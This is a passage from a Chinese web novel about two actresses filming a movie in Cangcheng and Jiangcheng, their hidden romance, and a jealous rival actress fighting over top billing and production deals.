安宁毕业后来到沧城生活，搬家后独自处理一些生活中的大小事。本段剧情是偏碎片化的拍摄和呈现，不需要特别多的台词，多注重安宁本身的性格塑造。 孔导和祝星亦沟通过这一部分的情绪表现，也跟赵导她们和苏寄欢一起讨论了拍摄方式。 越是日常生活的戏份越难演，稍微把控不住那个度便会脱离实际和人物形象。 好在苏寄欢提前带祝星亦去沧城各处溜达溜达，加上纪录片的拍摄也让祝星亦更了解这座城市，正式开拍时祝星亦没那么拘谨。 一拍，就是多日。 〈——安宁到沧城后租房子，房子是光线还算可以的老破小，步梯8层，安宁爬到一半就累得气喘吁吁。 安宁心想她真的要每天爬八楼吗？房东马上说这一片房子只有这里的小区房租便宜，对面街都是握手楼，别说阳光了，楼梯道都是湿湿，老鼠去了都黏脚。 安宁只能咬着牙继续往上爬。 房间不大，不过光线确实好。安宁站在小小的阳台上往外看，她刚毕业也没多少钱，步梯八楼就步梯八楼吧，反正也就上下班爬，平时可以点外卖。 可惜步梯八楼点外卖也不招人喜欢，搬家前打扫卫生缺了清洁工具，下单后外卖员到楼下打电话不耐烦道：“步梯8楼？？你自己下来拿好吧，我下一单快迟到了。” 安宁怎么说对方都不愿意爬到8楼，只能让对方爬到4楼，她下去接。拿完东西，安宁想，以后也要少点外卖。 清洁完屋子，安宁费劲巴拉自己搬家，一个人扛着东西去八楼。同一栋楼的人看她一个人搬东西怪辛苦，主动扶了几次，安宁感激得不得了。——〉 这个路人角色是新加的，也是赵瑞茜提议加的。 “我以前搬家的时候也遇到好心人帮我搬，这个世界还是好人多。”赵瑞茜感叹，但这个角色还没找，毕竟是她刚加的戏。 她瞄了眼片场，看到站在祝星亦身边的苏寄欢。 苏寄欢戴着帽子和眼镜，简单的黑长T和牛仔裤，平底鞋，头发用一根丝带绑在脑后，左手拿着剧本右手拿着保温杯喝水。 这么普通的打扮，却无法让人移开眼。 孤高坚韧，像陡峭悬崖上的一捧雪。 “寄欢，麻烦你一件事。”赵瑞茜起身去找正在喝水的苏寄欢。 苏寄欢拧上杯盖嗯了声，“你说。” “可以帮忙客串一个路人角色吗？”赵瑞茜问。 不用赵瑞茜多说什么，苏寄欢便知道自己要客串谁。 她看看正在和孔导讨论走位的祝星亦，点点头，“我很荣幸。” 〈——有好心人帮忙，安宁很快把自己的新家整理好。安定好后她奔波着找工作，她去打印简历，双面彩印两块钱，黑白的一块。每天都是疲惫地挤公交，和大厦前台沟通过匝道。 她偶尔会偷懒在家什么也不干睡一天，或者起个大早去附近的菜市场买菜。 安宁不会挑鱼，在鱼缸面前站了好久也不知道怎么挑。她只能跟着其他人一起挑鱼，别人怎么选她也怎么选。——〉 “寄欢……”赵瑞茜到这个戏份时喊苏寄欢。 苏寄欢放下剧本举手道：“好的，我来了。” 苏寄欢戴上帽子拿起装鱼的塑料袋站到鱼缸面前。 鱼腥味儿太重，片场拍摄的工作人员都在戴着口罩。买菜的路人频频看向这里，卖鱼的月芳阿姨不停地整理自己的衣服。 前段时间赵瑞茜跟她沟通要到店里拍戏后，她激动得不得了。她活了四十六年第一次上镜，为此她还专门练习了蹩脚的普通话。 不过赵瑞茜跟她说不用说普通话，说沧城话就好。 月芳用不标准的普通话说：“好，那我就说沧城话。赵导，我能说沧西话吗？沧西，我家在沧西那边，和沧城话只有一点点不一样。” “好啊，可以啊。”赵瑞茜点头。 “谢谢你导演！”月芳顿时轻松了不少，她的普通话真的太糟糕啦，早上还在烦恼要是台词说得不好拖别人后腿了该怎么办。 昨天她跟女儿说她要拍电影了，女儿一点都不信，“妈妈，哪有拍电影的去咱那里取景的？咱那里太破了，而且人家拍戏肯定会自己布景的呀。说不定只是拍短片的，小霞不就去当短剧编剧了？短剧呀，你说不定会刷到小霞编的剧呢！” 月芳说不通，加上又有什么保密协议，她也不敢拍照。但等电影上映了，她可得拉闺女去电影院看看！ 苏寄欢跟月芳先简单走了下戏，再折回鱼缸前。 祝星亦站在她身边问：“苏老师，你会挑鱼吗？” 苏寄欢点点头：“会。我教你。” 她指指缸里游动的鱼说：“选鱼很简单，你看这条鱼，鱼眼清澈，鱼鳞完整，鱼身子体态匀称，鱼肚……” 祝星亦听她讲，发现选鱼居然有那么多讲究。 “等下你可以选一条大的。”苏寄欢捏着手里的黑色装鱼袋子说。 祝星亦疑惑：“为什么？大的……安宁一个人吃不完吧？” 苏寄欢促狭一笑：“是啊，吃不完，宰鱼的时候还会被鱼拍脸。” 祝星亦反应过来，握着拳头捶她一拳，“你敢让你女朋友被鱼拍脸！可恶！” “到时候我肯定要帮你宰的。”苏寄欢歪下身子冲她眨眼，“大鱼剧组报销，我们晚上可以吃酸菜鱼，想吃吗？我会做。” “嗯！吃！” 带着鱼回去拍安宁宰鱼的戏份，祝星亦果然处理不好这条鱼，鱼在案板上乱拍。 苏寄欢站在显示器那边看祝星亦被鱼吓到的模样笑得止不住，等厨房戏结束后，苏寄欢上手宰完鱼做了一顿酸菜鱼，顺便补拍一下安宁吃酸菜鱼的镜头。 自打赵瑞茜逮到苏寄欢这个苦力，没主动吭声，只需要在讲戏的时候说：“这里需要有配合出镜的……” 那边苏寄欢马上举手：“我来演。” 于是，苏寄欢成了到处出没的npc…… 安宁去小馆子吃饭，苏寄欢露个背影跟安宁拼桌。 安宁去奶茶店兼职，苏寄欢扮演人群中扫码排队的顾客。 安宁追公交车跑，苏寄欢扮演骑自行车路过的人。 安宁晚上一个人走在路上，苏寄欢牵着狗跑着经过安宁身边。 安宁去杂货铺买东西，苏寄欢在边角站着看人下象棋。 …… 拍到安宁在海边骑车，落日大道，海也是橙色的。 安宁把车扎到一旁，卖花人举着花到安宁面前：“买朵花吧，9.9一朵。” 出乎意料的，祝星亦没按照剧本走，她没有拒绝卖花人，反而接下了那朵花，付了9.9。 这是剧本里没有的戏份。 扮演卖花人的周娅没有慌，她说了句谢谢，继续去其他地方吆喝9.9一朵。 不错，给自己加台词了！而且祝星亦的演绎也让她增多戏份。 走到镜头外的周娅缓了一会儿，她现在只希望这场戏一定要完整呈现，这是她不可多得的有那么多台词的戏呢！ 赵瑞茜没喊卡，摄影师继续跟着祝星亦拍摄。 〈——安宁拿着花走向栏杆处，从栏杆那里可以看到美丽的海上落日。 很多人都喜欢在这个地方看海上落日，糖心的太阳融化在琥珀色的眸子里，安宁背着手，手指捏着花，海风吹起她轻薄的衣衫。 她正在思索着什么，似乎什么也没思索。 一阵海鸟的叫声响起，安宁侧过身子转头朝那处看去，镜头定格在安宁漂亮的眼尾。 那双眼里装着黄昏。——〉 “卡——”赵瑞茜拍了下手，忍不住发出庆贺，“沧城的拍摄全部结束！大家辛苦了！下一站是江城！” 赵瑞茜喊卡后，祝星亦把手里的花递给一直站在她身旁的[路人］。 苏寄欢接过花挑起眉头，“怎么想着把这段戏改了？” “生活再苦，也会有人用鲜花奖励自己。”祝星亦双臂放在栏杆上，她认认真真看着脸上映着落日光芒的苏寄欢说：“而且，神明喜欢鲜花。” 苏寄欢捏着花枝，用花瓣戳了下祝星亦的脸，轻笑：“沧城的拍摄结束了，恭喜。” 顺利结束了。 但下一站，会不会顺利？ // “没错，此后的纪录片拍摄由我们来接手。”ilmeth纪录片部三部总监陈柠坐得直直的，笑着开口。 祝星亦完全不相信自己的耳朵，她再次确认：“杨雯那个部门……真的解散了？” 陈柠一说到那个部门，脸上的嫌弃遮掩不住。 那个部门能存在，只是因为宣传需要。占着一个部门却做不好事，次次考核都堪堪及格。纪录片部门的人还要配合她们做事，这也就算了，回回卖惨说艺人难搞，给做不好工作找借口。 这下好了，公司终于把这个部门砍了。 陈柠点点头：“没错，她那个部门效益一直不怎么好，解散是迟早的事。不聊她了，我这边过两天会安排你们拍摄江城的纪录片。” 陈柠安排后，不久，二人前往江城入住酒店。 她们的关系没公开，所以还是住两间房，祝星亦那间照常当对戏的房间。 对于杨雯部门解散的事，祝星亦有些关心。她主动询问了下，杨雯说部门的人都被调去其他部门了，都没有接受赔偿金离开。 祝星亦觉得很心酸，杨雯好不容易碰到愿意好好配合的艺人，部门却被砍了。 “说不定就是因为我们好配合，她们才砍了部门，让别人取而代之。”苏寄欢道。 祝星亦转过头，苏寄欢继续说：“一件工作不好做，其他人也会避而远之。但当它好做了，别人就会取而代之。杨雯这样的，就是典型的卸磨杀驴。” 太令人寒心了。 祝星亦跟杨雯说了些感谢的话，感谢沧城之行的拍摄。 她决定纪录片播放时专程艾特杨雯感谢一下她。 江城三四月的樱花开得正盛，苏寄欢还和祝星亦去了江城大学一趟。 “苏老师，你说，如果我和你在同一所大学上学的话，那会是怎样的情形？”走在樱花大道上，祝星亦问出这个问题。 苏寄欢想了想，说：“我只能做你的老师了。” 祝星亦挽着她的手臂，笑得温软：“那我们岂不是要搞真正的[师生恋］了？你敢吗？” 苏寄欢想了想真正的[师生恋］，不禁有些后怕，“真正的[师生恋］嘛……我还真不敢。” 祝星亦靠在她身边，拽她的手拽得紧紧的，“说不定我敢呢。” 苏寄欢刮她鼻子，“我们的师徒关系你都不敢呢，放这种[师生］关系里面，你哪里敢？” “总要有一个勇敢。”祝星亦辩解，“你不就比我勇敢？不然我们两个怎么可能走到一起。你一直比我勇敢。” 肩头上落了花瓣，苏寄欢抬手拨下，“因为是你，我才勇敢。” 祝星亦脸颊红扑扑的，趁四周没什么人关注她们，踮脚亲了口苏寄欢的脸，笑看着苏寄欢说：“我也是因为你才勇敢的。嘿嘿，苏老师～” “嗯？” “我好喜欢你哦。” “我也好喜欢你，我的小星星。” 祝星亦晃晃她的手，“你也要亲我一下。” 啾—— 落花下，苏寄欢俯身吻了吻祝星亦的额头。 “下午去博物馆，我预约了。”苏寄欢说。 “那我要看越王勾践剑，还有曾侯乙编钟。” 苏寄欢揉揉她的头，“你还要喝茶颜悦色。” 祝星亦丧起脸，这奶茶味道一般，拍纪录片时还要夸赞它好喝。 祝星亦摇摇头，凑在苏寄欢耳边说：“我不喝茶颜悦色，我只想喝姐姐的～” 苏寄欢抿着唇轻声说：“那你要先喂饱我，我胃口很大，你要努力。” 祝星亦顿时耳朵发烫。 很好，在虎狼之词上面，她根本说不过苏寄欢。 // “卡——” 赵瑞茜喊完，祝星亦快速去一旁站着继续看接下来的戏份。 晏瑾年走了过去。 化妆师在一旁补妆，晏瑾年抱着臂低眸看祝星亦夸赞：“你表演真的挺不错的，这几天和你对戏，你居然接得上我的戏。” 祝星亦翻了个白眼，没吭声。 “接得下你的戏是很光荣的事吗？”看完视频的苏寄欢走过来给祝星亦递上水杯，她瞄了两眼晏瑾年，轻轻哼出一声，“而且，你的戏很难接吗？” “我的戏难不难接，你都没福气跟我对戏。”晏瑾年呛了苏寄欢一句，“不过你教出一个好学生给我享用，我很感谢你，晚点请你吃饭。” “饭不用请了，你乖乖配合就好。”苏寄欢把祝星亦拧上的水杯接到手里，声音冷淡：“对了，晏小姐，刚刚那条不行，重拍。” 晏瑾年顿时眉头紧蹙，“怎么不行？” “不听话？”苏寄欢挑眉，似是警告。 晏瑾年转头看了眼片场里的其他人，被气得恼火也不能发飙，真令她憋屈。 “知道了。”晏瑾年语气不快。 连拍多日，还算顺畅。剧组里都是专业人员，对那些制作人员来说气氛还算融洽，对工作人员来说也算轻松，毕竟在这里工作，一切流程都很专业。 祝星亦很享受这里，和非常专业的同事共事她真的可以学到很多。 当然，苏寄欢的陪伴是让她倍感安心的源头。 晏瑾年浑身不适。 她不是很习惯公事公办的工作氛围，她更喜欢所有人对她的吹捧。 可是这里太过于标准。 晏瑾年对标准的定义是没有太多人情世故。 ilmeth的剧组环境向来如此，这也是她不愿意跟ilmeth保持长久合作的原因之一。 而这次合作最让她窝火的是苏寄欢。 〈——“你怀疑我是凶手？”安宁忽然转身问。 费琳愣住了，显然她没预料到安宁会突然说起这件事。她不想过多掩饰此行的目的，捻着手里的麻质破布点头说：“是。” 安宁很坦然地扯了扯嘴唇，她像是在笑也像是在分析着什么，那种意味不明的情绪在现在的气氛里莫名变得诡异起来。 费琳从她的角度看安宁，安宁的眼珠子像是分了三层，一层是薄薄透明的外壳，一层是漆黑的瞳孔，一层是深不见底的巨渊。 她开始回想起一周前陈警官给她看的监控录像，在17：16时，监控视频左上角那个一闪而过的身影，确实是安宁。 其实费琳那时就确认了，但还是闭上了嘴巴，可现在她面对安宁怎么都写不下一个确定的答案。 “作案动机？作案时间？凶器？”安宁看着费琳问。 费琳摇头轻叹，安宁身子往后退了几步，她转过身双手拍在红漆桌子上，不大不小的声音蹦跳出来，像是蔑视又像是无情嘲讽：“都没有？” 费琳摇头。 安宁忽然摸着唇角笑说：“那为什么怀疑我？凭你想要戴罪立功吗？” 这时候费琳才知道安宁并不是什么都不懂的安宁。一瞬间她有点恐慌，因为这个词又重又奇怪，她手心出了汗，眼睛快速眨动。 “什么？”费琳想要再挣扎一下，但安宁的眼神让她失了颜色。 安宁宛如一块烧焦的木头，裂了的一端还冒着火星，那些火星噼里啪啦地溅到费琳身上，马上就要从裤脚开始往上烧。 等那些火星继续飞溅时，安宁的声音转低：“还是说你想弥补什么？” 费琳的呼吸忽然有些急促，她被安宁逼得后退一步，但她知道，她现在已经被逼到悬崖边，而远处的安宁正驾着马车转过一个弯儿朝她加速赶来。 安宁就这样走了过来，她仍旧笑着，那股从脚底生出的毛骨悚然让整间屋子发冷，紧接着她带着质问说：“十年前那场震惊全城的凶杀案里，犯罪嫌疑人重返现场的那个下午，你为什么关上了禁止关闭的那扇门。” 砰的一声，茶杯破碎。 费琳像无法得到救赎的凡人瘫坐下来。 她因为恐慌，而失语了。——〉 喊卡后现场很安静，赵瑞茜看着刚刚二人的表现眉头紧锁。同样皱眉的还有苏寄欢，她在一旁坐着，手里抱着剧本。 孔导上去跟祝星亦说了些话，祝星亦退到一旁。 晏瑾年从椅子上站起来后也没说话。 过了会儿，孔导说晏瑾年的情绪递进不对，费琳在质问安宁时有两层情绪，一层是对安宁的失望，一层是窃喜。而费琳被安宁质问时则是更复杂的情绪，眼底和微表情方面，晏瑾年处理得不是很好。 “很差，这次差得不止一星半点儿，重拍。”苏寄欢拧紧眉毛起身。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第101章 晏瑾年你干什么！ 苏寄欢朝晏瑾年走去，“安宁第一个反问时，费琳短暂地滞住表情，眼神闪烁后要衔接肢体动作。你前面暂停的时间太长，和后面反过来了。另外你震惊的时候不要忽然睁大眼睛，成年人都很会收敛情绪，这也不是什么偶像剧和短剧，不需要夸张地放大这些感受。” 晏瑾年听后握紧拳头，她非常反感别人指导她，更何况这个人是苏寄欢。 在这个剧组里，苏寄欢已经指导她不下五十次了。 她和苏寄欢，地位上怎么说都是不相上下，自打进了这个组，苏寄欢每次都当着所有人的面指导她。 怎么，演艺经历多就对表演很在行吗？读了个博士就来当所有人的老师了吗？ 晏瑾年咬着牙盯紧苏寄欢。 苏寄欢走过来后让晏瑾年往一旁退退，她招手让祝星亦过来，把刚刚的戏重新示范一下。 她和祝星亦重新演绎费琳和安宁的戏，不得不说，她演得确实高出几层楼。 赵瑞茜坐在显示器面前不住地点头。 演完后苏寄欢同晏瑾年说：“要先把情绪一层层剥开再衔接台词和肢体动作，这些是同时进行的，你不要把这些全都分开演，难道要给你安十几个机位展示你的情绪吗？这次记住，以后也记住。” 说完这些苏寄欢坐回去，孔导和晏瑾年沟通过后继续拍这场戏。 但晏瑾年的表现还是不够好，情绪递进一直没上来。 反倒是祝星亦没什么差错，每一个情绪都呈现得很好。 不仅很好，还很眼熟。 像苏寄欢。 这种表演章法简直和苏寄欢一模一样，表情，动作，台词咬字，都和苏寄欢一模一样。 晏瑾年觉得自己不像是和祝星亦对戏，倒像是在和苏寄欢对戏。 没来由地感受到一阵强烈的压迫感。 恐慌。厌恶。 单单只是看祝星亦表演，她就心生厌恶。 重来的第二次，祝星亦逼近她说台词，说着说着，她跟不上祝星亦的情绪，然后卡住了。 晏瑾年呆住一会儿，主动喊卡。 这时没有人再上来说什么，晏瑾年调节一下情绪继续重演。 重来的第三次，结束后，赵瑞茜还是*摇头。 现场无人说话，晏瑾年也开始沉默不语。 无人恭维她，无人夸赞她，现场人的沉默是对她无声的批评。 以往拍戏都是任她发挥，剧本还是表演，她想怎么改就怎么改，想怎么演就怎么演。 这里不一样。 她在这些人面前无法任性。 赵瑞茜和其他几个导演都是资历很深、地位很高的导演，编剧薛青芳更是业界有名的大编剧。而那个最讨厌的苏寄欢……演得确实好。 她跟不上。 她甚至有点跟不上苏寄欢的学生。 祝星亦的表演。 需要展现复杂情绪的对戏上，她接不住祝星亦的戏。 晏瑾年抬眼看一脸平静的祝星亦。 《寄明月》是祝星亦的第一部戏，但祝星亦那时的表演就很炉火纯青，完全没有所谓的[演技青涩］。 苏寄欢到底教了祝星亦多少？怎么短短两年时间就培养出第二个苏寄欢？祝星亦学得那么快的吗？ 晏瑾年突然很后悔让祝星亦进组演安宁。 她觉得她给自己找了个对手。 一个和苏寄欢过分类似的对手。 重拍的第六遍终于过了，晏瑾年状态不佳去了保姆车。 罗瑜给她说了很多安慰的话，一旁的化妆师补着妆，电话响起。 晏璟霖打过来的。 晏瑾年听着，手机忽然掉到了地上。 她顾不上脸上补了一半的妆，拉开车门朝苏寄欢的保姆车跑去。 到车门前她蛮横地拉开车门，车里面，苏寄欢正在帮祝星亦顺台词。 苏寄欢在脱稿说费琳的台词。 当然，苏寄欢也会演费琳的戏份，以来帮祝星亦对戏。 听说沧城之行，苏寄欢客串了很多路人。 苏寄欢监制的电影，苏寄欢指导的祝星亦，苏寄欢扮成npc在各个角落里窜，苏寄欢甚至会监督cp运营…… 抢了她的角色，断了她的念想，她还阴魂不散。 “苏寄欢，你什么意思？”晏瑾年指尖攥得发白，她的脸上阴云密布，本就看着攻击力强的脸，现在更可怕了。 苏寄欢放下剧本，她没下车，歪头奇怪道：“什么什么意思？” 晏瑾年冷哼一声，“你还给我装傻？你给了ilmeth什么条件？” 苏寄欢这下明白她说的什么，起身踏出来关上车门，隔绝了空间。 “我给她们的，肯定没你给她们的多，你能给5000万，我可舍不得。”苏寄欢笑眼弯弯，声音轻缓。 晏瑾年怒道：“平番……呵，你敢跟ilmeth谈条件让我和她平番？她什么咖位我什么咖位，我凭什么和她平番？我让她来演这个电影是在抬举她，演到现在忽然说我和她是平番，我和她都是女主？凭什么！！” 苏寄欢怕祝星亦听到这些不好听的话，快步离开保姆车去其他地方。 晏瑾年跟了过去。 “咖位？”苏寄欢一见晏瑾年这副看不上祝星亦咖位的模样，不禁冷哼出声，“你看不上她咖位还追求她干什么？看不上还邀请她，看不上还费那么大的劲干什么？” “另外，晏瑾年，你少拿你的那套理论去评判别人。她咖位低那是因为她还年轻，她有大把的未来，她有大把的时间去往上走。”苏寄欢轻蔑地瞥了晏瑾年一眼，她厌恶晏瑾年这副高高在上的模样，“你既然看不上她的咖位，那你以后别烦她，你的行为实在是太掉价了。” 晏瑾年翻了个白眼，高傲的脸上铺了一层不屑的神色，“这么漂亮的东西给你你不玩儿？你跟她走那么近不也是贪恋她的美貌和年轻？你不也给了她很多东西？苏寄欢，她配不上我是个不争的事实，我送她资源带她演戏那是我给她的诚意。” 很显然，她的诚意并不被祝星亦放在眼里。 这女人软硬不吃，她早腻了。 次次给好脸色，次次不领情，不仅不领情，现在还成了自己的对手。 晏瑾年没有什么耐心再伺候这个看不懂人脸色的祝星亦。 以前她当祝星亦是难追的漂亮狐狸，想着这女人这么有意思，追到手也值了。现在好了，追不到不说，还成为自己危险的对手。 一个穷山沟沟走出来的村姑，一个靠别人才爬到人前的十八线爱豆，也配是她的对手？ 这种货色顶多配当自己的玩具，还想威胁她的地位？ “她不领我的情，你以为她会领你的情吗？”晏瑾年算是看透了祝星亦这个女人，而她现在看苏寄欢给这个骗子做得那么多，觉得好笑极了。苏寄欢只会落个和她一样的下场罢了。 苏寄欢为了一个只会利用别人的女人，又是撂下面子做监制，又是跟当保姆似的给那女人顺台词顺剧情，现在还为了给那女人抬咖跟ilmeth做不划算的买卖。 不知道为什么，晏瑾年想到未来苏寄欢会面临和她一样的境地，她也没有想继续和苏寄欢争吵的意思。 苏寄欢也是个蠢货，心甘情愿付出，心甘情愿给那个贱女人当狗。 不过这苏寄欢当狗当得挺称职的，从《寄明月》到《外乡人》，忙前忙后不说，又付出钱和资源，要晏瑾年说，苏寄欢的狗眼不能用的话就赶紧摘了，瞎眼烂在脸上死得快。 晏瑾年睨了眼深陷其中的苏寄欢冷笑，缓了口气问苏寄欢到底和ilmeth谈了什么交易，苏寄欢自然没有那么爽快地讲出来，只说是什么新鲜的合作。 晏瑾年听她这样讲，当下就猜出个一二。最近[苏盛］大力发展影视板块，[苏盛］和ilmeth还能合作什么？无非是一个行业新手给行业老手打工罢了，美其名曰[学习成功经验］。 这苏寄欢还真是有意思，从台前打到幕后，什么都要争个一二。 想到以后[晏影］要面对[苏盛］这个难缠的对手，晏瑾年头又疼了几分。 当然晏瑾年现在最头疼的是苏寄欢和ilmeth的关系变好了，这苏寄欢真是好笑，ilmeth那么难伺候，她还要跟这群人搞好关系。 不过也是，苏寄欢只有[苏盛］，也只有苏菱那个妈，不像晏瑾年自己，什么都有，根本不需要用恭维ilmeth去获得什么。 “苏寄欢，你真觉得你争得过我？你再这么作下去，你的[苏盛］离死不远了。”晏瑾年话里有话，市场竞争激烈，[苏盛］想转型影视公司奈何阻碍太多，资源是一方面，心力也是一方面。 苏寄欢已经一年多不拍戏了，去年也就年初杀青一部剧，后面一直没什么作品出来，商业价值慢慢往下面降。 再这样下去，苏寄欢怕是要废。 如果[苏盛］转型困难，那苏寄欢等于西瓜芝麻全丢了。 但她没空关心苏寄欢到底死多惨，死得越惨越好。 晏瑾年把苏寄欢从头到脚看一遍，刚刚她生气平番，但现在她已经把一些情绪完全转移到其他地方。 她缓了口气，声音也变得平静起来：“苏寄欢，即便你和ilmeth这么搞我，对我也没什么影响。你愿意和ilmeth合作，你随意。我和你不一样，毕竟我有晏氏，我不需要给别人当狗就可以让[晏影］轻松转型，但像你这样苦命的女人，也只能低声下气求着别人帮帮无助的你。” 几分钟前她为自己和一个低贱的女人平番而感到愤怒，但现在平静下来想想她和苏寄欢这种可悲的女人根本不一样，便不再伤神。 那个无耻的骗子还不至于让她愤怒到失了智，她是[晏影］的老板，是晏氏贵女，是多金影后，一个孱弱无能的小艺人算得了什么？ “但你可以求我，如果你求我，我会对你毫无保留。”晏瑾年走近苏寄欢，微扬着下巴说：“苏puppy，其实我一直在等你求我的那天，我很想看你对我汪汪叫。你放心，我不会像那些人一样对你，我不会真的让你下跪，也不会让你在地上爬，更不会……” 这时苏寄欢的脸色终于不再平静，呼之欲出的是倍感耻辱的愤怒。 晏瑾年看着这样的苏寄欢，再次向前半步伸出手戳了下苏寄欢的肩头，声音轻轻：“更不会让你在那么多人面前丢脸、无助，我可是很心疼你的，我的苏puppy。” 苏寄欢侧过脑袋，和晏瑾年对视。 晏瑾年退了半步抽身离开。 她回到保姆车里打回晏璟霖的电话，挂断后她闭上眼睛躺在座椅上缓神。 下午一共三场戏，拍完晏瑾年早早收工回酒店。 她住的地方和祝星亦住的不是一个酒店，本来觉得离那女人那么远有点可惜，但想到现在两人成了真正的对手，怎么都无法平静下来。 晏瑾年坐不住，开始跟姓林的打电话。 电话接通后，晏瑾年质问为什么《外乡人》说得好好的她是一番，现在怎么变平番了。 林总只听了一句话，便挂断电话。 随后她把晏瑾年无情拉黑。 晏瑾年拨不通后，整个人僵着身子站在阳台好久好久。 她是知道姓林的这个死女人难伺候，但她没想到那么难伺候。 怎么，拿了5000万拿了品牌赞助，然后转身就翻脸不认人？ 有这样的吗？ 晏瑾年不死心，开始给关南欣打电话。 关南欣不疾不徐道：“哦，这是我们林总的安排，我们无权过问，配合我们调整番位、戏份等是写在合同里的，晏小姐你这边如果有疑问可以跟林总沟通。” 但姓林的那样子摆明就是不想沟通。 晏瑾年攥着拳头沉默许久，问：“你们和[苏盛］影视工作室拍的那部年代剧，现在还在筹划中？” “是啊。晏小姐对这部戏有兴趣？”关南欣似乎有些为难，“但是即便你来投资这部年代剧，这个番位也变不了了，你也知道我们林总，她很难说话呢。” “我不投资。”晏瑾年想想自己的5000万打了水漂不免对投资这件事谨慎了许多，“我这里也有部戏，年前我的影视工作室会启动拍摄，我想争取你们跟我的影视工作室合作拍摄。” 关南欣声音缓了缓说：“如果我们可以合作，那真的是太好了。但我想这些需要从长计议，不过我们这边还有个电影，打算冲明年的国庆档，如果你愿意参与到拍摄中，或者愿意跟我们合作，我想一切好说。” 这ilmeth真的是既要又要，什么都想要，要人也要钱，真是滑头得很！ 晏瑾年深吸一口气，尽量让自己平静下来，“好说，当然好说。” “但是你[晏影］的影视工作室初初成立就要拍剧，各方面都不是很成熟。你看，苏小姐那边是协助我们拍摄，我想你这边的话……” 晏瑾年的忍耐度逐渐降低，“林总最近一直想和炆格集团交好，恰好我姐姐和那边的人熟悉，我们这边会帮忙牵线。” 关南欣声音里有明显的笑意：“你这么说的话真的是太客气了，我想我们可以约个时间一起聊个天。” “我很期待。” 挂断电话后晏瑾年瘫在沙发上缓了许久。 当初跟苏寄欢一起争夺剧本，后来争夺各大奖项，现在开始争抢好的制作团队。 假如当初晏珂把苏寄欢留下，假如能把苏寄欢早早签到自己手里，现在至于这么难搞吗？ 现在不止苏寄欢难搞，祝星亦那个女人也不好搞。 祝星亦这个满嘴谎言的女人，只会利用自己的美貌坑蒙拐骗的吸血鬼。 晏瑾年对此窝火得要命。 她当初就不该被这女人的美色欺骗。 接下来的拍摄晏瑾年放平了心态，江城的戏份拍完要赶往夏城。 拍完江城戏份的第二天，剧组休假团建，地点在希荷度假区。晏瑾年到达度假区后先去了订好的酒店，罗瑜跟夏暖吐槽这些天ilmeth那些人的态度。 夏暖跟着吐槽：“她们未免也太把自己当回事了，我真的没见过这种剧组，根本没把艺人当回事。我们年姐什么咖位，她们居然不把年姐放在眼里。” 罗瑜收拾着酒店客厅里的东西，想到那些人对晏瑾年的态度也是不服，“姓林的带出来的狗都是一样的货色，眼睛长在头顶上，谁都看不起。要不说椰子想要[晏影］转型？与其跟这些人合作被她们看不起，不如自己当老大，谁也管不了我们。” “我们年姐有晏氏，大小姐随便扶年姐一把不就行了？” 罗瑜叹道：“这可说不准，ilmeth根系很大，她们掌握的资源难以估算。何况她们的影视公司已经是业内排名靠前的公司，我们想要发展还是要和她们合作才行。” 夏暖嘟囔：“[苏盛］倒是会献殷勤，早早跟她们投诚。” “ilmeth的情绪和喜好难以捉摸，[苏盛］未必能捞到什么好处。真想站住脚还是要先把作品打出来，这样才有底气招商。” 夏暖好像有点悟到什么了，“难怪大小姐让工作室快点拍戏，早出作品早一步进圈。” 但罗瑜还是觉得走这一条路困难重重，“谁不知道这个理儿？可惜[苏盛］的影视工作室已经和ilmeth准备合拍年代剧，《外乡人》杀青后就会开拍。ilmeth班底那么强，听说准备冲华兰奖。” “华兰奖？？”夏暖倒吸一口凉气，华兰奖的含金量实在太高了，和百想奖、金珍珠奖并称国家级三大电视剧艺术奖，资历过深的演员出演高水平、高质量的正剧才有资格拿。 又是强班底又是强制作，这苏寄欢也太会来事儿了吧！年姐不得急死！ “那我们怎么办？”夏暖着急得很，“那到时候，苏寄欢肯定会出演这部剧，真要是获得华兰奖，那她的影视工作室肯定也会……” “少说这些丧气话，也不要在椰子面前说这些。”罗瑜连忙制止住她，“椰子肯定可以先一步把工作室运营起来，我们有大小姐，大小姐怎么可能对椰子见死不救。” 晏璟霖，对，还有晏璟霖。夏暖这才放下心来。 大小姐肯定不会见死不救。 / 用完餐，晏瑾年去露台抽烟。 罗瑜跟过来简单汇报影视工作室的准备情况，问了晏瑾年才知道也要和ilmeth合拍，但前提条件是给林总牵线其他资源。 这ilmeth真的是什么便宜都想占！难怪发展得这么好！ “晏璟霖今天晚上会过来跟我聊这件事，她在附近出差。”晏瑾年手里夹着烟有些困倦无力地开口，“我不知道她愿不愿意帮忙牵线，但我必须和ilmeth合作。” 罗瑜知道晏瑾年和晏璟霖关系不好，她劝晏瑾年只要放低态度，晏璟霖肯定会帮忙。 “你毕竟是她唯一的妹妹，她不会不管你。”罗瑜说，“你和她的关系其实没必要那么僵，你服服软，她就什么都给你了，何必跟她不对付？” 晏瑾年冷哼一声。 要她跟晏璟霖服软？做梦。 “这事你别管了，我自己跟她商量。”晏瑾年掐灭烟揉揉眉心。 吹了会儿风，晏瑾年看看腕表上的时间起身离开。 罗瑜联系着晏璟霖的助理，助理说晏璟霖一个小时后会去酒店。 “椰子，你态度一定要好起来，说点好听点的话大小姐就会帮你的。”罗瑜怕晏瑾年又跟晏璟霖犟起来，边走边嘱咐。 晏瑾年随意应着：“知道了。” 路过隔间，听到熟悉的声音。 晏瑾年停下脚步往回走了走，透过门缝看到苏寄欢和祝星亦两人正在交谈。 “到夏城的时候我们住loft好了，不用再开两间房。”祝星亦说，“loft多好，空间又大，我们怎么闹腾都行。” 苏寄欢刮她鼻子，“对，你想怎么闹腾都行，我和她们联系不用给我们预订酒店。” 祝星亦缩进她怀里，声音温软：“只要是我们两个在一起，住哪里都行。” 苏寄欢忽然有点低落：“可惜我无法公开我们的关系，对不起。” “说什么对不起，真公开了对我们两个都没好处，现在工作最重要。”祝星亦环紧她，在她头上印上一个吻，“而且，苏老师，你不需要跟我说对不起，永远都不需要。” “星星……”苏寄欢看着这样的祝星亦，眼角酸涩，她搂着祝星亦的腰身吻上她的唇，厮磨了会儿才继续抱着怀里的人恩爱。 门外的晏瑾年后退了两步，她的脸瞬间变得煞白，漂亮的五官此刻因震惊与愤怒而变得扭曲。 她死死地盯着门缝里的两人，呼吸变得沉重起来。 苏寄欢和祝星亦在一起了？什么时候的事？祝星亦演这个电影前，还是后？ 她投了5000万邀祝星亦演这个电影，在这个电影前，祝星亦要什么她就给什么，钱给了，资源给了，现在呢？ 